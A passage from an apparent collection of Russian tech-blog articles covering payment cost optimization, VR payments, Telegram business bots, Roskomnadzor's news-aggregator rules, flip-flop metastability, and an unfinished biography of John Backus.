разделения. Чтобы добиться эффективной оптимизации, вам нужно будет вникнуть во все тонкости. Если по какой-то причине уделить этому процессу время или подробно разобраться в ситуации нельзя, то лучше всего оставить попытки оптимизации затрат просто потому, что продолжать такую работу бессмысленно. Без подробного анализа, вы скорее всего пойдете по неверному пути и принесете больше вреда, чем пользы. Как только у вас появилась хорошая картина того, из чего складываются расходы, подумайте какими факторами вы можете управлять (переговоры о тарифах, анализ и внесение изменений в свой набор платежных инструментов и прочее), и какими не можете (экономические факторы, законодательные нормы и правила). Сосредоточьтесь на первой группе факторов и начните работу по ее оптимизации. Все описанные выше шаги помогут вам получить ясную картину происходящего и обозначить реально достижимые для вашей организации цели. Определившись с тем, каким областям расходов вы хотите уделить основное внимание, начните рассматривать расходы с разных точек зрения. Подобный анализ позволит выявить неочевидные, на первый взгляд, но существенные противоречия, устранение которых, в свою очередь, поможет найти скрытые и нераспознанные ранее возможности повышения продуктивности. В частности, обратите внимание на следующие моменты: 1. Фиксированные и переменные затраты Определите, из чего складываются «фиксированные» и «переменные затраты». Скажем, платежный инструмент (например, AmEx) предлагает только переменные затраты, без каких-либо фиксированных. Это знание полезно, поскольку благодаря ему вы понимаете, что в «консолидации выплат» нет смысла: она просто не поможет снизить стоимость платежей. 2. Вести переговоры или нет? Переговоры по снижению тарифов — отличный способ сокращения стоимости платежей. Договориться можно только с платежными операторами, хотя и они тоже с большим трудом идут на уступки. Переговоры займут немало времени, однако могут оправдать вложенные в них усилия, если у вас большие объемы, предсказуемый и «осязаемый» бизнес. И конечно, очень помогут связи. Приведем пример того, о чем можно было бы договориться. Тарифы для операций с предъявлением карты и без нее очень сильно отличаются. Вы можете воспользоваться этой разницей. Вашей целью должен стать поиск возможностей по перераспределению ответственности в процессе проведения платежа. Сделав это, вы можете формально приблизить свои транзакции к определению «с предъявлением карты» в среде, где большинство операции обычно считаются транзакциями «без предъявления карты». Такие технологии, как идентификация по отпечатку пальца, многофакторная аутентификация, токенизация и другие, дают вам немало возможностей добиться этого. 3. Работайте над увеличением «повышение СЦП» Стоимость платежей обратно пропорциональна средней цене продажи (СЦП). В случаях, где есть и фиксированные и переменные затраты, повышение СЦП может не только увеличить доходы, но и снизить стоимость платежей. Цена — ключевой элемент и поэтому любое планирование должно быть ориентировано на извлечение прибыли именно из нее. 4. Каждому рынку — свой подход Многие вопросы в сфере платежей обусловлены влиянием как внешних, так и внутренних факторов. География, особенности рынков и разновидности продукции, которую вы продаете, предопределяют наиболее предпочтительные для клиентов способы оплаты. Необязательно предлагать весь спектр решений. Вместо этого, будьте рассудительны и дальновидны в процессе оптимизации. Повышайте уровень обслуживания клиентов и пользуйтесь маркетинговыми инструментами чтобы одержать победу над расходами. Выберите не затратные или малозатратные способы. Например, введение бонусных баллов помогает устранить посредников при формировании стоимости платежей, подарочные карты и сертификаты уменьшают фиксированную составляющую затрат. Вы также можете договориться с банком о совместном выпуске брендированных платежных карт. 5. Прокладывая выгодные пути Широко известно, что процессинг дебетовых карт дешевле кредитных. Обработка дебетовых карт с помощью банковских каналов связи (транзакции с вводом ПИН-кода, вместо подписи чека), может помочь снизить итоговую стоимость платежа. Выберите выгодного в этом плане оператора и сможете существенно сэкономить (если, конечно, вы готовы к таким переходам). 6. Оптимизация операций Внимание к таким деталям, как авторизация платежей, отказ от их проведения и логика повторного проведения транзакций играют важную роль в детальном понимании того, как устроен процесс проведения платежных операций. Если у вас есть время только на что-то одно, выберите именно это направление. Оптимизация операций способна предоставить самые быстрые, дешевые и наиболее эффективные способы снижения затрат. 7. Общая (реальная) стоимость В этом материале мы сделали акцент на узком определении стоимости. Реальные затраты могли бы также включать операционные расходы, инфраструктурные издержки, и расходы на обслуживание клиентов. Не теряйте все эти моменты из виду, поскольку они способны существенно повлиять на фиксированную составляющую стоимости. 8. Будьте благоразумны в сокращении расходов Расходы — хорошая метрика для анализа. Время от времени планируйте их сокращение и приведение в порядок. Лучший момент для этого — «времена перемен», когда вы ищете другого оператора или платежные инструменты, выходите на новые рынки, представляете новые продукты. Следите за крупными переменами в этой области, такими, как переход с кредитных карт на дебетовые, серьезные изменения в законодательстве или формирование предпосылок для скорого стремительного роста рынка. И независимо от обстоятельств, ежегодные подробные обзоры и ежеквартальные отчеты по состоянию расходов — хорошая практика. Не относитесь к проблеме стоимости платежей слишком серьезно. Как правило, это не так важно и чтобы она стала самой главной из всех ваших головных болей, вам придется сначала немало поработать в других направлениях. В этом смысле важнее, например, сосредоточиться на поддержании высокого «уровня удовлетворенности клиентов». Этот материал основан на личном мнении автора Шилы Урсал.
https://habrahabr.ru/company/payonline/blog/312392/
habrahabr
VR-платежи в 2018 году станут мейнстримом
['VR', 'виртуальная реальность', 'e-commerce', 'онлайн шоппинг', 'технологии', 'PayOnline']
Еще несколько лет назад платежи в виртуальной реальности казались чем-то, что произойдет совсем нескоро. Но, исходя из кейсов, описанных в сегодняшней статье, будущее VR-платежей уже очень близко....
Еще несколько лет назад платежи в виртуальной реальности казались чем-то, что произойдет совсем нескоро. Но, исходя из кейсов, описанных в сегодняшней статье , будущее VR-платежей уже очень близко. Виртуальная реальность (VR), вероятно, в потенциале одна из важнейших технологий для ритейла , если принимать во внимание стремительно растущее количество примеров ее практического применения. Некоторые эксперты предполагают , что к концу 2016 года примерно 43 миллиона человек по всему миру станут обладателями VR-продуктов, а к 2018 году эта цифра возрастет до 170 миллионов. На устойчивый интерес к VR-технологии и ее применению указывает то, что, по некоторым оценкам, за прошлый год рынок VR вырос в четыре раза . Такие гарнитуры как Oculus Rift , HTC Vive , PlayStation VR и Google Cardboard с высокой долей вероятности будут определять то, как мы будем выбирать товары и совершать покупки. «На данный момент, единственное недостающее звено в идее применения VR для активизации торговли — это платежи. Одним из первопроходцев в данной сфере стала китайская компания Alibaba , продемонстрировавшая в октябре этого года новый платежный сервис, который позволит покупателям рассчитываться за покупки в виртуальной реальности с помощью кивка головы». Лин Фэнь, ответственный за инкубатор F Lab компании Ant Financial и занимающийся разработкой платежного сервиса последние несколько месяцев, сообщил агентству «Рейтер»: «Снимать очки виртуальной реальности для совершения платежа — скучное занятие. С нашей технологией вам не придется доставать телефон». Как поясняет издание, личность пользователя может быть верифицирована в сервисе VR Pay через активные аккаунты на связанных устройствах или с помощью технологии голосовой идентификации. По мнению Лин Фэня, распознавание голоса — наиболее удобный способ идентификации из всего спектра технологий биометрической идентификации личности. Ожидается, что VR Pay будет готов к запуску в коммерческую эксплуатацию к концу этого года, что позволит 400 миллионам пользователей Alibaba покупать продукцию в магазинах по всему миру. Это станет возможным с помощью VR-шлемов или очков, предназначенных для создания «эффекта присутствия» в реальном магазине. Старший управляющий мобильного отделения Alibaba Чжуань Чжоран дал следующий комментарий : «Виртуальная реальность прекрасно подходит для демонстрации товаров или услуг, особенно для таких категорий товаров как мебель или продукты в области туризма. Заодно можно добавить немного развлечений в процесс шоппинга». Британский благотворительный фонд Comic Relief тоже выступает сторонником внедрения VR-платежей в качестве мейнстрим-технологии в сфере благотворительности. Зенон Ханник, технический директор Comic Relief, поделился своим мнением о важности «эффекта присутствия» для поддержки транзакций: «Вы должны показать аудитории, куда были потрачены деньги, тогда каждый из них почувствует себя причастным к этому процессу. Мы, как благотворительная организация, финансируем различные проекты, и наша задача рассказать их историю. Мы можем создать мощные по своему воздействию истории, как собранные нами средства способны менять жизни людей, и VR станет главным средством повествования». Для коммерческих платежей идея близка по смыслу — VR станет инструментом мощного вовлечения, который заодно реализует механизмы мгновенных платежей. На данный момент необходимость снимать гарнитуру для совершения платежа — существенный недостаток технологии. За это время клиент может усомниться в своем выборе и отказаться от покупки. Преодолеть это препятствие и сохранить вовлеченность потенциального клиента поможет VR, а компании таким образом снизят риск возможной потери интереса к товару и неудовлетворенного покупательского спроса. Как сообщается в журнале Computing , несмотря на то, что Зенон Ханник из Comic Relief ясно видит VR в качестве будущей платформы для благотворительности, он отмечает, что технология не получит широкого распространения как минимум до 2018 года. «2017 станет для VR годом этакого разочарования. Конечно, в следующем году будет парочка интересных историй перспективных разработок, но только в 2018 году виртуальная реальность станет основной темой для обсуждения в СМИ». Среди других событий в сегменте — сотрудничество компании Mastercard со стартапом Wearality из Орландо, США. Wearality занимается разработкой очков виртуальной реальности и носимых устройств, которые позволят покупателям знакомиться с товарами и приобретать их, не покидая виртуального мира. В марте этого года MasterCard продемонстрировала будущее торговли, завязанное на виртуальную и дополненную реальность, а также носимые устройства с возможностью проведения платежей — на гольф-турнире Arnold Palmer Invitational во Флориде. В официальном пресс-релизе компания заявила, что в ближайшее время любители гольфа смогут приобретать снаряжение Graeme McDowell’s и одежду брэнда G-Mac прямо во время виртуального турнира с Грэмом МакДауэллом. Находясь на поле, игроки смогут приобретать напитки в точках продаж с помощью простого касания перчаткой для гольфа. Кошелек с деньгами не потребуется. Учитывая, что к 2020 году пользователи предположительно потратят не менее 7,9 млрд. долларов на VR-гарнитуры и 3,3 млрд. долларов на VR-развлечения, VR-платежи представляются логичным и необходимым этапом развития для ритейла и финансовых учреждений. Носимые устройства будут играть здесь ключевую роль, соединяя платежное решение с предметами виртуального мира. Именно поэтому встраивание функций осуществления платежей в устройства, производимые крупными технологическими компаниями — весьма дальновидный шаг. И одним из пионеров в этом деле стала компания Samsung. В апреле этого года новостной портал VR Life приводил слова руководителя Samsung Pay Europe Натали Oстманн, которая подчеркнула, что компания может предложить людям посещать магазины с помощью VR и просматривать интересующие товары в виртуальной реальности. Пользователи одним кликом смогут выбрать нужный товар и оплатить его с помощью Samsung Pay, оставаясь внутри виртуальной среды. Решение позволит с легкостью находить новые торговые точки и магазины. Если данная функция будет в конечном итоге работать именно таким образом, это станет уникальной чертой VR-технологии Samsung и ее платежного сервиса. Продолжайте следить за обновлениями блога процессинговой компании PayOnline и оставайтесь в курсе самых современных технологий платежной индустрии.
https://geektimes.ru/company/payonline/blog/282664/
habrahabr
15 лучших ботов Telegram для бизнеса
['telegram bots', 'маркетинг', 'телеграм', 'телеграм-бот', 'бот-HR', 'бот для звонков', 'бот-юрист']
Боты для Telegram все больше входят в нашу повседневную жизнь, их способности становятся разнообразными, а функции, которые они выполняют — заменяют привычные «тяжелые» сервисы. Мы подготовили...
Боты для Telegram все больше входят в нашу повседневную жизнь, их способности становятся разнообразными, а функции, которые они выполняют — заменяют привычные «тяжелые» сервисы. Мы подготовили список ботов, которыми пользуемся сами — бот-юрист, бот-HR, бот для звонков и еще буквально несколько маленьких помощников в Телеграм. Полный список ниже: 1) telegram.me/SkillangeBot – незаменимый помощник для отдела HR или владельца бизнеса. Помогает найти человека, обладающего определенными навыками: программисты, дизайнеры, учителя, администраторы и т.д 2) telegram.me/tviggo_bot – вы все еще платите за роуминг? Тогда этот бот для вас. Он научит ваш телеграмм звонить да еще и даст пару интересных фишек: звоните в любую точку мира без платы за роуминг, фиксированная плата в месяц и даже есть возможность звонить между мессенджерами. 3) telegram.me/pravorubot — юридическая помощь в считанные минуты. Бот поможет получить как ответы на вопросы, так и найти специалиста, разбирающегося в юриспруденции. 4) telegram.me/cbr_bot — уследить за курсом валют очень сложно. Этот бот поможет вам быть всегда в курсе цены на нефть, золота и даже биткоина. 5) telegram.me/egrul_bot — выписка из Единого государственного реестра юридических лиц. Просто отправьте боту ИНН или ОГРН. Обратите внимание, что физлиц (и ИП) бот пока проверять не умеет. 6) telegram.me/mnp_bot — позволяет определить мобильного оператора и регион по номеру телефона. Вводить номер нужно без лишних символов и пробелов. 7) telegram.me/transferrobot — в наше время почти никто не пользуется флешками, все используют облачное хранение данных. Этот бот тому подтверждение. Разместите ваш файл размером 8) telegram.me/evernoterobot — компания Evernote презентовала своего бота. Просто соедините свой аккаунт в Evernote с Telegram и отправляйте боту сообщения. Все сообщения, которые вы отправите, будут добавлены в заметки. 9) telegram.me/topdf_bot — pdf — универсальный формат для хранения информации. Этот бот поможет перевести ваши текстовые документы и фотографии в формат pdf. 10) telegram.me/multitran_bot — даже в Африке, с этим ботом-переводчиком, вы сможете чувствовать себя спокойно, так как бот содержит в себе несколько словарей. 11) telegram.me/GetStatsBot — не менее важный бот для тех, кто ведет бизнес в интернете. Этот бот всегда в курсе данных из Google Analytics по вашему сайту. Бот покажет количество пользователей, сессий за сегодняшний день, предыдущий или за неделю. Доступно как цифровое отображение, так и в виде графика. 12) telegram.me/expensebot — управлять можно тем, что умеешь измерять. Именно поэтому этот бот, поможет вам управлять и отслеживать ваши ежедневные расходы. 13) telegram.me/orfobot — деловая переписка с ошибками невозможна. Поэтому если сомневаетесь в написанном, лучше дать этому боту текст на проверку. И да, этот бот не только не поставит вам двойку, а еще и исправит все ошибки за вас. 14) telegram.me/do_itBot — все удержать в памяти нереально. На помощь приходит бот Do it, в котором вы сможете создать напоминание, а бот уведомит вас через клиента телеграмм. 15) telegram.me/RubleRobot — не можете принять важное решение? А о методе «подбросить монетку» слышали? Добавляйте этого бота и больше вы не столкнетесь с проблемой принятия решений. А какими ботами пользуетесь вы? Поделитесь полезными Телеграм-ботами и я добавлю их в список.
https://habrahabr.ru/post/313724/
habrahabr
Роскомнадзор опубликовал разъяснения некоторых положений закона «о новостных агрегаторах»
['РКН', 'агрегаторы', 'распространители информации', 'новостные ресурсы', 'СМИ', 'информация', 'пресса', 'регулирование интернета']
Роскомнадзор опубликовал на своем сайте разъяснения некоторых положений закона «о новостных агрегаторах». Закон был принят Госдумой РФ в июне этого года в последнем, третьем чтении. Согласно...
Роскомнадзор опубликовал на своем сайте разъяснения некоторых положений закона «о новостных агрегаторах». Закон был принят Госдумой РФ в июне этого года в последнем, третьем чтении. Согласно его тексту новостные агрегаторы несут ответственность за достоверность распространяемой ими информации. Наиболее серьезную полемику вызвало то, что теперь, согласно новому закону, компании-владельцы новостных агрегаторов, например компания «Яндекс» со своим проектом «Яндекс.Новости» несет ответственность за достоверность информации, размещаемой на сторонних ресурсах. Фактически, законодатели изначально обязали крупные технологические компании заниматься фильтрацией новостной выдачи и проверять тексты на достоверность. Понимая, что физически обеспечить фильтрацию и проверку контента десятков СМИ, изданий и ресурсов ни «Яндекс», ни другой крупный игрок этой сферы — Google, не могут, Роскомнадзор и опубликовал разъяснения к закону «о новостных агрегаторах». Согласно тексту документа: Владелец новостного агрегатора не несет ответственность за распространение им новостной информации в случае, если она является дословным воспроизведением сообщений и материалов или их фрагментов, распространенных средством массовой информации, которое может быть установлено и привлечено к ответственности за нарушение законодательства Российской Федерации о средствах массовой информации. В документе также подчеркивается, что: Роскомнадзор не будет принимать меры ответственности к владельцам новостных агрегаторов в случае распространения недостоверных общественно значимых сведений, а также иной информации, распространяемой с нарушением законодательства, полученной из: сайтов зарегистрированных средств массовой информации; официальных сайтов органов государственной власти Российской Федерации, органов государственной власти субъектов Российской Федерации, органов местного самоуправления, созданных в соответствии с Федеральным законом от 09.02.2009 № 8-ФЗ «Об обеспечении доступа к информации о деятельности государственных органов и органов местного самоуправления»; официальных сайтов государственных и муниципальных предприятий, учреждений, иных организаций с государственным участием, созданных на основании федеральных законов. Этими разъяснениями Роскомнадзор прямо указывает, что вся ответственность за попавшую в выдачу новостного агрегатора недостоверную информацию будет нести источник этой информации, при условии, что он подлежит идентификации. Также разъяснения ведомства можно рассматривать и как завуалированный сигнал допускать к выдаче только материалы ресурсов, имеющих государственное происхождение, либо же внесенных в реестр распространителей информации/имеющих регистрацию СМИ.
https://geektimes.ru/post/283652/
habrahabr
О метастабильности в электронике
['Метастабильность', 'асинхронность', 'триггер']
Многие начинающие разработчики часто недооценивают влияние асинхронности на работу цифровых схем. В проектах с одним тактовым генератором сложностей не возникает: схема полностью синхронна, и от...
Многие начинающие разработчики часто недооценивают влияние асинхронности на работу цифровых схем. В проектах с одним тактовым генератором сложностей не возникает: схема полностью синхронна, и от разработчика требуется только соблюдать требования Setup и Hold. Но как только в системе появляется второй тактовый генератор, возникает проблема CDC – Clock Domains Crossing, связанная с асинхронностью работы участков схемы, работающих от независимых (асинхронных) генераторов. На практике эта проблема выливается в усложнение маршрута проектирования, связанное с особенностями статического временного анализа в САПР, а в железе проявляется в виде такого эффекта как метастабильность, и аномальное поведение триггеров. Собственно, о метастабильности здесь уже писали, но я предлагаю чуть глубже разобраться в проблеме. В начале несколько вводных слов. О таких критичных для работы параметрах триггера как setup и hold подробно написано здесь . В двух словах, вблизи момента прихода тактового сигнала на вход триггера существует некий минимальный интервал времени, внутри которого сигнал на информационном входе должен оставаться стабильным. Если изменение сигнала происходит за пределами этого интервала, триггер срабатывает правильно. Это минимальные требования, которые должен соблюдать разработчик, проектируя схему с одним тактовым генератором. И даже если в проекте используется несколько кратных частот, полученных из одной опорной, схема также считается синхронной, а максимум, о чем следует заботиться при проектировании, это соблюдение Setup и Hold. Теперь представим, что в проекте используются два независимых источника тактирования. Все триггеры в схеме разделяются на два домена, по принципу управления от одной или другой опорной частоты. Между этими асинхронными друг другу доменами проходит граница в виде сигналов, сформированных на одной опорной частоте, и заходящих на информационные входы триггеров, работающих на другой частоте. Фактически, сигнал на входах триггеров оказывается асинхронен их тактовому импульсу, что означает, что требуемые времена Setup и Hold не могут быть выдержаны. В результате, в работе триггеров на границе двух доменов изредка возникают аномалии (фактически — сбои), которые на временном моделировании обычно обозначается как неопределенное состояние триггера X, и раскрашиваются на вейвформе красным цветом. В реальной схеме это аномальное состояние триггера может оказаться просто затянувшимся срабатыванием, поскольку для попадания триггера в область метастабильности, входной сигнал должен измениться в гораздо более узком отрезке времени, чем ts + th: На рисунке показаны: tc – абсолютное время прихода фронта тактового импульса, являющееся нулевым отсчетом для оси Hold (направлена от ноля вправо), и оси Setup. Ось Setup направлена влево, поскольку время установки отсчитывается в отрицательном направлении от момента прихода фронта клока. Далее, ts и th – параметры Setup и Hold триггера: между отметками ts и th сигнал на информационном входе триггера обязан быть стабильным (красная область рисунка). Вне окна ts + th сигнал может меняться произвольно (синяя область рисунка). При изменении сигнала внутри окна ts + th, переключение триггера может сильно затянуться. Последний элемент рисунка – область метастабильности, выделена оранжевым цветом. Это некий интервал времени, при попадании в который поведение выходов триггера становится непредсказуемым, о чем будет подробно рассказано ниже. На практике, время th часто бывает отрицательным (окно ts + th по той или иной причине оказывается сдвинуто влево относительно нулевой отметки), а ширина области метастабильности должна определяться индивидуально для каждой схемы триггера и параметров транзисторов – экспериментально, либо с помощью спайс-моделирования. Рассмотрим устройство классической схемы D-триггера и составляющей его RS-защелки: Представим, что на вход R (Reset) защелки приходит короткий импульс с активным нулем, а на входе S (Set) – пассивный сигнал (лог. 1). Если импульс совсем короткий, то защелка может не переключиться. А если увеличить длительность импульса? Проведем серию экспериментов, подавая на вход защелки импульсы разной длительности. Следующий рисунок позаимствован из статьи Л.Р. Марино General Theory of Metastable Operation: На рисунке обозначены две оси – напряжение на X и Y выходах RS-защелки. Отметки V0 и V1 – напряжение лог. 1 и лог. 0 выходов триггера, а Vm – напряжение, равное ½ Uпитания. На рисунке так же показано, что начальное состояние (Initial state) находится в точке плоскости {X=V1, Y=V0} — выходы триггера {X, Y} приняли логические значения {1,0}. На вход защелки S (Set) подан высокий потенциал (пассивное значение), а на вход R (Reset) подается импульс с активным нулем разной длительности (6-самый короткий, 1-самый длинный – изображено внизу рисунка). В соответствии с номером импульса на входе R, на рисунке показаны 6 траекторий переключения потенциалов пары выходов {Y,X}: для импульсов 1-3 происходит полное переключение триггера, для импульсов 5-6 триггер не переключится, а траектория 4 приводит триггер в центр зоны метастабильности (точка {Vm,Vm}), находящийся посередине между порогами лог. 1 и лог. 0. Итак, мы показали, что подав на одно плечо защелки импульс недостаточной длительности, его энергии может не хватить для полного переключения. При большой длительности импульса, защелка обязана переключится. И, наконец, можно подобрать входной импульс такой длительности, что выходы защелки окажутся посередине между двумя стабильными состояниями. При этом, чем ближе к области метастабильности подталкивает выходы защелки энергия импульса, тем дольше потом эти выходы восстанавливают стабильное состояние. Теперь обратимся к современной схеме D-триггера из библиотеки для 65нм, использующейся при проектировании ASIC: На схеме по информационному входу D стоит ключ GD, первая защелка изображена в виде двух инверторов во встречном включении I1 и G1, проходной ключ SW разделяет защелки, а вторая защелка строится так же на двух инверторах во встречном включении I2 и G2. Выход для повышения скорости берется с левого плеча второй защелки. Триггер работает следующим образом: при CK=0 входной ключ пропускает сигнал на первую защелку с отключенной обратной связью G1, ключ между защелками закрыт, а вторая защелка находится в хранении, поскольку активна обратная связь G2. При CK=1 первая защелка отсекается от входа D, у нее активизируется обратная связь G1, отпирается ключ между защелками, а у второй защелки выключается обратная связь – данные из первой защелки переписываются во вторую. Если сигнал D снимается раньше прихода переднего фронта CK, мы получаем на входе первой защелки импульс с активным нулем, чья длительность зависит только от соотношения фронтов CK и D. Таким образом, ситуация аналогична рассмотренной с RS-защелкой: энергия импульса на одном из плеч может переключить защелку, не переключить, либо — ввести защелку в состояние метастабильности. В статье Л.Р. Марино математически доказано, что выходы абсолютно любого триггера, независимо от его конструкции, могут принимать метастабильное состояние. Попробуем рассмотреть все возможные состояния выходов защелки; для этого построим еще один график с двумя осями-потенциалами выходов. График позаимствован из лекций по логическому проектированию д.т.н., профессора В.Б. Мараховского: График почти такой же, как и в статье Л.Р. Марино, но стрелками изображены траектории возможного поведения выходов защелки. Двигаясь по траекториям, выходы защелки в конечном счете переключатся в устойчивое логическое состояние {1,0} или {0,1}, соответствующее состоянию на входах (состояние входа защелкнется). Но при попадании потенциала выходов в некую область по центру графика, предсказать конечное состояние выходов невозможно. Это область неустойчивого равновесия (метастабильности), на выход из которой могут влиять только случайные факторы, такие как тепловой шум. Конечное состояние выходов защелки при завершении метастабильности заранее неизвестно – оно может быть любым ({1,0} или {0,1}). Размер области метастабильности измеряется экспериментально, либо вычисляется с помощью спайс-моделирования. Следует отметить, что на практике метастабильность проявляется не только в виде статичного потенциала, равного ½ Uпитания, но также и в виде слабых пульсаций вблизи этой точки. Другим важным свойством метастабильности является непредсказуемость времени установления защелки в стабильное состояние. Как известно, время выхода защелки из метастабильного состояния описывается распределением Пуассона, и в теории может быть бесконечно долгим. Таким образом, нельзя заранее предсказать не только конечное состояние триггера после выхода из метастабильности, но и продолжительность метастабильного состояния во времени. Впрочем, если сигнал на входе триггера не меняется и в следующем такте, то максимальная продолжительность метастабильного состояния выходов триггера на границе двух доменов не превышает длительности тактового импульса. Формулы и методики расчета размеров области метастабильности и частоты сбоев можно посмотреть в статье Variability in Multistage Synchronizers. Приведу лишь результаты расчетов частоты сбоев из этой статьи. В качестве синхронизатора использовались схемы последовательного соединения 2х, 3х и 4х триггеров, работающих от импульса с периодом 800пс, и диапазоном частот входного сигнала от 600пс до 2нс. На графике по вертикальной оси отложен MTBF в годах – срок между сбоями (попадание в метастабильное состояние — сбой) при использовании разных синхронизаторов на входе в домен, работающий от такта с периодом 800пс. По горизонтали отложен период тактового импульса домена – источника сигнала. Как видно из рисунка, чем больше триггеров в цепочке синхронизатора, тем реже происходят сбои. Выводы 1. Время переключения триггера целиком и полностью зависит от длительности управляющего импульса на входе первой защелки, который получается сдвигом фазы прихода сигнала к тактовому импульсу на входах триггера. При переключении сигнала за границами интервала ts + th, триггер переключается правильно, и за заранее известное время. Но, если входной сигнал поменялся внутри этого интервала, то стабильного состояния триггер достигает тем дольше, чем ближе к зоне метастабильности он оказался. Если же выходы триггера оказались внутри зоны метастабильности, их конечное логическое состояние и время срабатывания не могут быть предсказаны. 2. Метастабильность выходов триггера выглядит на осциллографе как уровень потенциала выходов, равный ½ Uпитания, либо как слабые пульсации вблизи этого уровня. При этом в инверторах схемы триггера течет сквозной ток между шинами земли и питания. Но поскольку сопротивление открытого канала в n- и p- транзисторах измеряется килоОмами, то сквозной ток не оказывает заметного влияния на такие явления как общее потребление схемы, просадка питания (IR drop), и электромиграция. 3. На частотах около гигагерца сбой (вследствие метастабильности) в триггере на границе двух доменов происходит раз в несколько секунд. Бороться с метастабильностью помогает использование в качестве синхронизатора двух и более последовательно включенных триггеров. При использовании двух триггеров, сбой на выходе синхронизатора случается уже раз в год; трех триггеров – раз в тысячу лет; четырех триггеров – раз в 10 миллиардов лет. Снижение рабочей частоты влияет на частоту сбоев экспоненциально: при использовании синхронизатора из двух триггеров и частоте около 500МГц, интервал сбоев увеличится на несколько порядков – до одного сбоя в миллион лет. Поэтому, если Вы проектируете схему с частотами под гигагерц, постарайтесь использовать как можно меньше асинхронных доменов, либо увеличивайте число последовательно включенных триггеров в синхронизаторах до трех. 4. На частоту сбоев сильно влияют паразитные емкости выходов первой и второй защелок (составляющих триггер), которые зависят от параметров используемых транзисторов и от схемы триггера. Другими словами, меняя параметры транзисторов и схему триггера, можно косвенно влиять и на периодичность возникновения метастабильности на выходах этого триггера. Рецепт годится, только если Вы проектируете собственную библиотеку элементов. 5. С точки зрения статического временного анализа, все пути между асинхронными доменами должны быть описаны sdc констрейнтами set_false_path. Метастабильность триггеров в России никем не изучается (поправьте, если не прав), но на практике разработчику достаточно следовать тем простым рекомендациям, что даны выше; надеюсь, это кому-нибудь окажется полезным.
https://habrahabr.ru/post/317514/
habrahabr
Персона. Джон Бэкус — создатель первого языка программирования высокого уровня
['персона', 'биография', 'языки программирования', 'разработка по', 'история it', 'история успеха', 'fortran']
17 октября 1977 года на ежегодной конференции АСМ премия Алана Тьюринга была вручена человеку, который создал первый высокоуровневый язык программирования для научных и технических...
17 октября 1977 года на ежегодной конференции АСМ премия Алана Тьюринга была вручена человеку, который создал первый высокоуровневый язык программирования для научных и технических целей. Премия была присуждена Джону Бэкусу «… за глубокий и важный вклад в создание практических систем программирования высокого уровня. В особенности – за работы по Fortran и частые публикации формальных процедур для спецификации языков программирования». В 50-х годах ХХ века труд программиста по написанию, вводу и отладке программ был далеко не легким: сначала программы писались на машинном языке. Для облегчения участи программистов были придуманы подпрограммы, а затем первые ассемблеры. Но эффективность программирования от этого существенно не повысилась. Если бы кто-то мог написать транслятор, который позволил бы вводить команды из слов и символов, а затем автоматически конвертировать их в машинный код... Бесполезный Бэкус Джон Бэкус родился 3 декабря 1924 года в Филадельфии. Его отец был главным инженером-химиком в компании по производству нитроглицерина. Бэкус-старший начинал свою карьеру как простой служащий, но потом продвинулся по служебной лестнице во время Первой мировой войны, когда благодаря его техническим изобретениям была предотвращена серия взрывов на заводах. Джон закончил школу в Вашингтоне, затем осенью 1942 года поступил в Виргинский университет на химический факультет. Юноша не подавал никаких надежд в плане дальнейших успехов. Педагоги сомневались, что он мог принести хоть какую-то пользу обществу. Как позднее вспоминал он сам, несмотря на то, что родители определили его в престижную школу, процесс обучения вызывал у него отвращение. Когда Бэкус поступил в университет, единственным занятием, которое он посещал раз в неделю, был урок музыки. К концу второго семестра, в 1943 году, руководство университета решило, что дальнейшее пребывание юноши в стенах учебного заведения излишне: Бэкус был отчислен. В это время была в разгаре Вторая мировая война, и США уже полтора года вели боевые действия против Японской империи. Молодой Джон Бэкус в чине капрала был принят в дружные ряды тихоокеанской ПВО. Однако в боевых действиях Бэкус участия не принимал. Поиск себя После демобилизации Джон вернулся в США и поселился в Нью-Йорке. Перед ним вновь встал вопрос выбора профессии. Ничто, кроме музыки, его не привлекало. Поскольку ему сильно хотелось иметь хорошую аппаратуру для прослушивания музыки, он поступил в школу радиотехники: получив там необходимые навыки, он смог бы самостоятельно сконструировать музыкальную аппаратуру. Однажды один преподаватель попросил Джона Бэкуса помочь ему с построением графиков частотных характеристик усилителя. Вычисления были несложными, но их обилие утомляло. Неожиданно эти повторяющиеся математические операции заинтересовали Бэкуса. Преподаватель по ремонту теле- и радиоаппаратуры пробудил в нем интерес к математике и убедил его продолжить образование в Колумбийском университете. Весной 1949 года, за несколько месяцев до получения диплома, 25-летний Джон Бэкус по-прежнему не мог определиться со своим будущим. В поисках перспективной работы его занесло в Компьютерный центр IBM на Мэдисон Авеню. Как оказалось, это была «судьбоносная случайность». Получив степень магистра математики в Колумбийском университете, по приглашению Рекса Сибера — одного из изобретателей машины SSEC (Selective Sequence Electronic Calculator) – Бэкус поступил на работу программистом в фирму IBM. Это случилось в 1950 году. IBM Бэкус мало что знал о компьютерах, когда пришел в фирму IBM. Однако, проработав на SSEC около года, он возглавил небольшую группу программистов, которая разработала интерпретатор Speedcoding для компьютера IBM 701. Тогда слово «компьютер» (computer) обозначало совсем не то, что оно обозначает сегодня. Selective Sequence Electronic Calculator (SSEC) был одной из первых разработок IBM в новой области электронных вычислительных устройств на вакуумных лампах. Этот, так сказать, компьютер не имел памяти, а весь ввод и вывод происходил посредством перфолент. Так что, компьютерами были в каком-то смысле и люди, которые «помогали» машинам. В проекте SSEC Джона Бэкуса подключили к решению задачи вычисления положения Луны в 12-часовом интервале на 200-летнем отрезке времени. Для вычисления каждой позиции Луны требовалось произвести 11 тысяч сложений и вычитаний, 9 тысяч умножений и выполнить 2 тысячи просмотров специальных таблиц. Это задача требовала напряженной работы 13 тысяч огромных вакуумных ламп SSEC. Различные узлы SSEC располагались вдоль трех стен комнаты размером 18 на 6 метров, а программисты находились как бы внутри компьютера. Вычисления, выполненные, в том числе и Бэкусом, на SSEC, кстати, использовались в космической навигации НАСА в период с 1952 по 1971 годы. Позднее ему приходилось выполнять и более экзотические задачи — например, вычисление точных орбит пяти внешних планет Солнечной системы на временном интервале с 1653 по 2060 годы. SSEC морально устарел уже в 1952 году и был демонтирован. Fortran В 1954 году компания IBM запустила новый проект – IBM 704. В отличие от ламповой ЭВМ 701, новый проект был электронно-магнитным. IBM 704 предоставила программистам универсальный набор команд для работы, в том числе с числами с плавающей запятой. Реализовывать на языке ассемблера алгоритмы обработки чисел с плавающей запятой нелегко. А программировать в ту пору приходилось в основном только математические формулы, и никаких математических сопроцессоров не было. В конечном итоге «лентяй» Джон Бэкус (как он впоследствии шутливо, а может, и не совсем шутливо вспоминал) стал все больше задумываться над тем, как создать язык, независимый от архитектуры машины и позволяющий легко программировать математические формулы. Джон Бэкус обратился к 